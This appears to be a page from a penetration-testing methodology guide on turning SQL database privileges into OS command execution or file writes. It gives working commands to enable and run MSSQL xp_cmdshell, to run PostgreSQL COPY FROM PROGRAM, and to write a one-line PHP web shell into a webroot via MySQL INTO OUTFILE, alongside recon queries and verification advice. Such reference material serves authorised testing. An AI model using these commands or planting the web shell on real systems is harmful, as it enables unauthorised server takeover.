Convert database rights into a file or operating-system effect
Needs: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
MSSQL — xp_cmdshell when privilege and policy allow
This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.
-- MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
-- MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';
Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by
whoami.
Requires a superuser or a role such as
pg_execute_server_program; the command runs under the database service account.
Requires
FILEprivilege, a permittedsecure_file_privdestination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.
Verify → Verify the resulting host and operating-system identity, or independently verify written/read bytes.
If it fails → Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route. More detail ↓
Explanation & examples
Convert database rights into a file or operating-system effect
- USE WHEN
- Confirmed SQL control plus database file, execution or impersonation privileges
- STARTING ACCESS
- A reproducible application request and a controlled input or access-context comparison
- RESULT
- A verified server-side file operation or command effect
Recognize the clue
From the authenticated/injected database context inspect the real role, grants, enabled facilities and server identity before selecting any file/command transition.
SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
SYSTEM_USER: DATABASE_CONTEXT
IS_SRVROLEMEMBER: 1
OS execution identity: not yet observedMeans: Database administration is a useful enabling clue, but it is not an observed OS shell or a domain privilege level.
Confirm: Match the DBMS-specific facility, configuration, OS permission and consumer; verify a minimal actual OS effect.
- After validation
- Required role/facility and service-identity effect are confirmed: select the supported database-to-OS method.
- Ruled out in this context
- The required file/command privilege is absent: discard that OS transition while retaining data access.
- Still inconclusive
- Unknown facility state or OS identity needs a focused check before choosing payloads.
Troubleshooting: Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.
This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.
MSSQL — xp_cmdshell when privilege and policy allow
Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.
PostgreSQL — COPY PROGRAM when role and version allow
Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.
MySQL/MariaDB — file write as a separate primitive
Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.
Why it works
Database superuser, application administrator and operating-system administrator are different authorities. File write still needs execution handling; command facilities run as a service/proxy identity.
Worked example · hypothetical
Observation: a SQL Server session has the required administrative role. Test: inspect command-facility state and execute a minimal identity proof through the supported procedure. Illustrative output: the SQL service identity returns. Interpretation: treat that exact identity as the foothold.
New identity, privilege, host or route? Re-enumerate → All topic tasks →